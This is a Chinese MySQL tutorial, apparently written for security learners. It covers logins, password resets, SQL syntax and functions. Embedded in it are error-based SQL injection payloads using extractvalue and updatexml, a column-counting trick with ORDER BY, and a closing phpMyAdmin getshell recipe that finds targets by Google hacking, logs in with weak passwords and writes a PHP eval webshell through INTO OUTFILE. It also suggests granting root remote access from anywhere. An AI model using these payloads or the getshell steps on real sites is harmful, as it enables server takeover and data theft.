数据库 数据库即存储数据的仓库,是一个管理数据的软件
数据库模型
关系型数据库(也称结构化数据库)
MySQL:轻量级开源数据库,适用于中小型企业,性能较好
MSSQL(SQL server):微软开发的,适用于中大型企业,需要微软系统作为支撑,不支持跨平台
Oracle:收费,适用于大型企业的需求,支持跨平台,需要良好的硬件配置作为支撑
DB2
……
非关系型数据库(也称非结构化数据库)
redis、mongodb、Hbase、nosql等
关系型数据库结构
数据库:可以看成是一个“文件柜”中的“小格子”
数据表:可以看成是一个具体的“文件”
记录、字段、数据
一行,即一条记录
一列,即一个字段
行列交叉处,即数据
MySQL登录和退出 登录MySQL有两种方式,一种是通过命令行登录进行操作,一种是通过工具登录进行操作,下面介绍通过DOS命令行进行登录
配置环境变量 如果想在任意位置登录MySQL,则需要配置环境变量,如何判断是否配置好,可通过查看MySQL版本的命令进行判断:
如果出现如下情况即没有配置好:
1 ‘mysql -V 不是内部或外部命令,也不是可运行的程序或批处理文件。
接下来进行配置,win7路径如下:
1 win7-->计算机-->属性-->高级系统设置-->高级-->环境变量-->系统变量-->Path
大差不差,网上教程很多,配一下就完事儿了,此处省略**字
登录 在DOS命令行中,执行以下命令:
1 mysql -h 主机名 -u 用户名 -p 密码
-h:代表MySQL数据库主机名。本地主机名如:127.0.0.1。MySQL数据库默认端口号:3306
-u:代表MySQL用户名。如:root
-p:代表MySQL密码。如:root。在登录时,可以先不输入密码值
如:
1 mysql -h127.0.0.1 -uroot -proot
退出
重置密码 如果忘记密码,莫慌,老夫看你骨骼惊奇,这个重置密码的方法,就赐予你了:
phpstudy重置数据库密码:
Linux(centos7)修改root密码:
1 2 3 4 5 6 7 8 9 10 11 12 1.修改配置文件:vi /etc/my.cnf 添加:skip-grant-tables 重启MySQL服务 2.空密码登录: mysql -uroot 3.改密码: update mysql.user set authentication_string=password(‘root'),plugin='mysql_native_password' where user='root' and host='localhost'; 4.更新数据库:flush privileges; 5.退出 6.再次修改配置文件,注释掉skip-grant-tables,重启MySQL服务,即可
1 2 3 4 5 6 7 8 9 1.查看原始密码:(两种方法) 1). grep "password" /var/log/mysqld.log 2). cat /var/log/mysqld.log | grep "password" 2.使用原始密码登录: mysql -uroot -p 3.执行命令: ALTER USER "root"@"localhost" IDENTIFIED BY "你的密码"; 4.重启服务即可
允许外界连接的方法
改表法
1 2 3 4 5 6 7 8 9 进入MySQL,执行以下命令: 首先要能远程访问,修改root的host为% update user set host='%' where user='root'; GRANT ALL ON *.* TO 'root'@'%'; 其次,修改连接方式: ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '你的数据库密码'; 注意修改防火墙规则或者关闭防火墙
授权法
1 2 3 4 ubuntu上安装mysql只需要几条命令就可以完成。 sudo apt-get install mysql-server 注意:安装时需要设置root密码 apt-get install mysql-client sudo apt-get install libmysqlclient-dev
数据类型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 整型 INT 浮点型 FLOAT 日期 DATE YYYY-MM-DD 时间 TIME HH-MM-SS 时间戳 TIMESTAMP 字符 CHAR VARCHAR 文本 TEXT
MySQL数据库操作 在MySQL交互式环境中,所有命令必须以英文分号;
结束
MySQL不区分大小写,但是把系统命令和自定义值以大小写区分会便于查看和排错
显示数据库
创建数据库 1 2 交互式环境: CREATE DATABASE [IF NOT EXISTS] 数据库名 [CHARSET UTF8]; DOS命令行: mysqladmin -uroot -proot CREATE DATABASE 数据库名;
IF NOT EXISTS:可选项,如果不存在,则创建数据库
数据库名:自定义
CHARSET:设置数据库的默认字符集
删除数据库 1 DROP DATABASE [IF EXISTS] 数据库名;
查看数据库的字符集 1 SHOW CREATE DATABASE 数据库名;
通过MySQL命令修改数据库的字符集
1 ALTER DATABASE 数据库名 DEFAULT CHARACTER SET gbk;
MySQL数据表操作 选择数据库 只有进入数据库里,才能操作数据表
显示当前库中所有的数据表
创建数据表 1 CREATE TABLE 表名(字段1 字段1类型 字段1属性,字段2 字段2类型 字段2属性,……)
字段类型:tinyint、int、bigint、char、varchar、text、date、time等
字段属性:
NOT NULL|NULL:是否可以为空
DEFAULT default_value:指该列的默认值
default_value默认值可以是字符串,也可以是整型
AUTO_INCREMENT:该列为自动增长型,或者自动编号。要求该列必须是整型。一个表只能有一个auto_increment属性 。
PRIMARY KEY:主键。指定该列的值具有唯一性,主键所在的列不能为空。一个表的主键只能有一个 。
一个数据表,由多个列构成。多个列定义之间用英文下的逗号 隔开。
删除数据表 1 DROP TABLE [IF EXISTS] table_name;
修改数据表
describe显示表的结构定义
SQL基础 增删改查 增加记录 1 INSERT INTO 表名(字段1,字段2,字段3,…) VALUES (值1,值2,值3,…)
删除记录 1 DELETE FROM 表名 [WHERE 条件]
WHERE条件:如果省略,将删除所有记录
修改记录 1 UPDATE 表名 SET 字段1 = 新值1,字段2=新值2,… [WHERE条件]
需要更新的字段列出,不需要更新的不用管它
字段的顺序可以修改
WHERE条件不能省略,如果省略,所有记录都会修改
查询记录 1 SELECT 字段列表|* FROM 表名 [WHERE条件] [ORDER BY排序][LIMIT限制输出]
字段字列表:查询某些字段的数据,各字段之间用逗号隔开,字段之间没有顺序
:表示显示所有列的数据。如:select from news;
where:指查询的条件
ORDER BY:字段排序
LIMIT:限制输出
条件判断 WHERE
1 2 3 SELECT * FROM news WHERE id<100; SELECT * FROM news WHERE id<100 and hits<100; SELECT * FROM news WHERE id=100 OR hits<50;
ORDER BY 1 2 3 order by n 如果后面跟数字,是按照第n列数据排序,如果n超过字段数,就报错 ERROR 1054 (42S22): Unknown column '5' in 'order clause'
由此可判断此表有几列
LIMIT 限制输出 1 LIMIT startrow,pagesize;
startrow从指定的行数起,开始返回数据
pagesize返回的记录数
举例:
1 2 3 LIMIT 0,10; //从第0行起,返回10条记录 LIMIT 10,10; //从第10行起,返回10条记录 LIMIT 20,10; //从第20行起,返回10条记录
LIKE 1 2 3 4 5 通配符: * 表示任意的字符 % 表示任意的字符 ? 表示一个字符 SELECT * FROM 表名 WHERE 字段名 LIKE '字符串'; 其中字符串可用通配符
UNION 联合查询 1 SELECT 字段列表|* FROM 表1 UNION SELECT 字段列表|* FROM 表2;
表1和表2中字段数应相同
DISTINCT 去重 1 SELECT DISTINCT field FROM table_name [WHERE 条件];
GROUP_CONCAT 把查询结果链接一起 1 SELECT group_concat(DISTINCT field) FROM table_name [WHERE 条件] ;
常用函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 version() 显示数据库版本信息 connection_id() 显示当前连接数 user() 当前用户(current_user()、system_user()、session_user()) database() 查看当前使用的数据库 schema() 查看当前使用的数据库 @@hostname 获取当前计算机名称 @@tmpdir 存放临时文件的路径 @@datadir 存放数据的路径 @@version 数据库版本 @@basedir 数据库所在位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 mid(string,start,length) 用来截取字符串中一部分 SUBSTRING(str,start,length) 把str从start个字符开始截取length个字符,并输出 ord() 用来显示字符的ASCII码 concat() 拼接字符串 concat_ws() 使用分隔符来拼接字符串 第一个参数是分隔符,支持16进制,不能用单双引号包括 group_concat() 和concat类似,拼接并分组显示数据 INSERT(str1,start,length,str2) 把str1的第start个字符往后的length个字符替换为str2 LEFT(str,length) 把str从左边开始截取length个字符并输出 RIGHT(str,length) 把str从右边开始截取length个字符并输出
extractvalue
1 2 3 4 5 extractvalue(XML_document,XPath_string): 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) 作用:从目标XML中返回包含所查询值的字符串 select * from news where tid=1 and extractvalue(1,concat(0x7e,(select user()),0x7e));
UPDATEXML
1 2 3 4 5 6 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 select * from news where tid=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
导入导出数据 导入数据 1 2 3 4 5 1.mysql命令导入 mysql -uroot -proot < 文件路径 2.source命令导入 3.使用 LOAD DATA 导入数据
导出数据
1 SELECT * FROM 表名 INTO OUTFILE "路径+文件名";
如果出错,以下为解决办法:
1 2 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti on so it cannot execute this statement
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 执行命令(查看相关配置): SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'; secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。 secure_file_priv 为 /tmp (路径)时,表示限制mysqld只能在/tmp目录(路径)中执行导入导出,其他目录不能执行。 secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。 永久解决办法: 修改配置文件my.ini,添加如下语句: secure_file_priv= //表示可导入导出到任意目录 临时解决办法: set global secure_file_priv='';
1 2 3 4 5 mysqldump -uroot -p db_name > ./db_name.sql 在DOS命令下运行 mysqldump -u 用户名 -p 数据库名 > 导出的文件名 mysqldump -u 用户名 -p 数据库名 表名 > 导出的文件名
通过phpmyadmin来getshell 1 2 3 4 5 6 7 1. 首先通过google hacking找到phpmyadmin的网站 2. 弱口令登录,SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';判断我们有没有权限去写木马文件 3. 执行SQL语句,查看数据库所在位置:select @@basedir; 4. 猜测根目录写入木马文件:`select '<?php eval($_POST[_]);?>' into outfile 'G;//shell.php'`:注意:写木马的路径,一般是`/var/www/html`